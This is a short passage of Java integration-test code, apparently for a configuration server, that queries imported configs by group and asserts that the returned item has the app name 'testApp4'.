|
||||
getDataUrl = "?search=accurate&dataId=&group=TEST_IMPORT_2&appName=&config_tags=&pageNo=1&pageSize=10&tenant=&namespaceId=";
|
||||
queryResult = httpClient.get(SERVER_ADDR + CONFIG_CONTROLLER_PATH + getDataUrl, null);
|
||||
resultObj = JacksonUtils.toObj(queryResult);
|
||||
resultConfigs = resultObj.get("pageItems");
|
||||
Assert.assertEquals(1, resultConfigs.size());
|
||||
JsonNode jsonNode = resultConfigs.get(0);
|
||||
Assert.assertEquals(jsonNode.get("appName").textValue(), "testApp4");
|
||||
}
|
||||
|
||||
private Map<String, String> processMetaData(ZipUtils.ZipItem metaDataZipItem){
|
||||
|
Loading…
Reference in New Issue
Block a user